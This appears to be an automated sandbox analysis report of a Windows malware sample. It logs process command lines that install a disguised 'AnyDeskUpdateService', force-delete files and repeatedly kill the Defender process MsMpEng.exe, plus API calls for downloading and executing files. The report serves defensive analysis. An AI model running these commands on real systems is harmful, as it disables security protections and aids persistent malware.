Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	134
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	135
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	136
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff71dd80000
File size:	161'792 bytes
MD5 hash:	95408095927F78DEFFAEB9CB1F4CD44D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	137
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	138
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	139
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	140
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	141
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	142
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	143
Start time:	20:26:43
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start AnyDeskUpdateService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	144
Start time:	20:26:44
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	145
Start time:	20:26:44
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	146
Start time:	20:26:44
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	147
Start time:	20:26:44
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	148
Start time:	20:26:44
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	149
Start time:	20:26:44
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	150
Start time:	20:26:47
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	151
Start time:	20:26:47
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	152
Start time:	20:26:47
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	153
Start time:	20:26:47
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	154
Start time:	20:26:47
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	157
Start time:	20:26:49
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	166
Start time:	20:26:50
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	168
Start time:	20:26:51
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	183
Start time:	20:26:56
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	187
Start time:	20:26:56
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	189
Start time:	20:26:56
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	193
Start time:	20:26:58
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	199
Start time:	20:27:00
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	201
Start time:	20:27:00
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	205
Start time:	20:27:01
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	232
Start time:	20:27:07
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	244
Start time:	20:27:07
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	247
Start time:	20:27:08
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	255
Start time:	20:27:09
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	259
Start time:	20:27:10
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	261
Start time:	20:27:10
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	273
Start time:	20:27:12
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ae840000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	277
Start time:	20:27:13
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	287
Start time:	20:27:13
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	316
Start time:	20:27:16
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	322
Start time:	20:27:16
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	328
Start time:	20:27:17
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bac90000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	330
Start time:	20:27:17
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	334
Start time:	20:27:17
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	336
Start time:	20:27:17
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	352
Start time:	20:27:18
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	376
Start time:	20:27:19
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7403e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	403
Start time:	20:27:20
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	417
Start time:	20:27:20
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	421
Start time:	20:27:20
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	423
Start time:	20:27:20
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	427
Start time:	20:27:20
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	435
Start time:	20:27:21
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	463
Start time:	20:27:22
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	487
Start time:	20:27:22
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	489
Start time:	20:27:22
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	493
Start time:	20:27:22
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	499
Start time:	20:27:22
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	513
Start time:	20:27:23
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	519
Start time:	20:27:23
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	529
Start time:	20:27:23
Start date:	28/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.5%
Total number of Nodes:	1000
Total number of Limit Nodes:	22

Executed Functions

Function 00007FF6C7852840 Relevance: 92.7, APIs: 16, Strings: 35, Instructions: 3486
filestringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF6C7852D6D

Part of subcall function 00007FF6C785FCD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C785FE06
Part of subcall function 00007FF6C785FCD0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C785FE0C

GetFileAttributesW.KERNEL32 ref: 00007FF6C7854ADF
InternetCloseHandle.WININET ref: 00007FF6C785507B

Part of subcall function 00007FF6C785CF30: InternetCloseHandle.WININET ref: 00007FF6C785CF3B

Part of subcall function 00007FF6C785FC60: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C785FCBB

GetFileAttributesW.KERNEL32 ref: 00007FF6C785509D
MoveFileW.KERNEL32 ref: 00007FF6C78550CD
GetFileAttributesW.KERNEL32 ref: 00007FF6C78550E2

Part of subcall function 00007FF6C785CDF0: InternetOpenW.WININET ref: 00007FF6C785CE27
Part of subcall function 00007FF6C785CDF0: InternetOpenUrlW.WININET ref: 00007FF6C785CE49
Part of subcall function 00007FF6C785CDF0: CreateFileW.KERNEL32 ref: 00007FF6C785CE75
Part of subcall function 00007FF6C785CDF0: InternetReadFile.WININET ref: 00007FF6C785CE91
Part of subcall function 00007FF6C785CDF0: WriteFile.KERNEL32 ref: 00007FF6C785CECA
Part of subcall function 00007FF6C785CDF0: InternetReadFile.WININET ref: 00007FF6C785CEE3
Part of subcall function 00007FF6C785CDF0: CloseHandle.KERNEL32 ref: 00007FF6C785CEF0

GetFileAttributesW.KERNEL32 ref: 00007FF6C7855724
ShellExecuteExW.SHELL32 ref: 00007FF6C7856B24
ShellExecuteExW.SHELL32 ref: 00007FF6C78570C2
GetLastError.KERNEL32 ref: 00007FF6C78570D0

Part of subcall function 00007FF6C785DBC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C785DD85

Part of subcall function 00007FF6C78585F0: RegisterEventSourceW.ADVAPI32 ref: 00007FF6C785861B
Part of subcall function 00007FF6C78585F0: GetLastError.KERNEL32 ref: 00007FF6C7858629
Part of subcall function 00007FF6C78585F0: ReportEventW.ADVAPI32 ref: 00007FF6C7858694
Part of subcall function 00007FF6C78585F0: DeregisterEventSource.ADVAPI32 ref: 00007FF6C785869D

GetLastError.KERNEL32 ref: 00007FF6C7856B32

Part of subcall function 00007FF6C785DBC0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C785DC89
Part of subcall function 00007FF6C785DBC0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C785DCB6
Part of subcall function 00007FF6C785DBC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C785DCE3
Part of subcall function 00007FF6C785DBC0: std::_Facet_Register.LIBCPMT ref: 00007FF6C785DD64

WaitForSingleObject.KERNEL32 ref: 00007FF6C7856D68
CloseHandle.KERNEL32 ref: 00007FF6C7856D72
lstrcmpiW.KERNEL32 ref: 00007FF6C7856E7D
GetCurrentProcessId.KERNEL32 ref: 00007FF6C7856E91
StartServiceCtrlDispatcherW.ADVAPI32 ref: 00007FF6C785732C

Strings

%x*x, xrefs: 00007FF6C7852A10
5x=x, xrefs: 00007FF6C78529CF
vzv$, xrefs: 00007FF6C78528AB
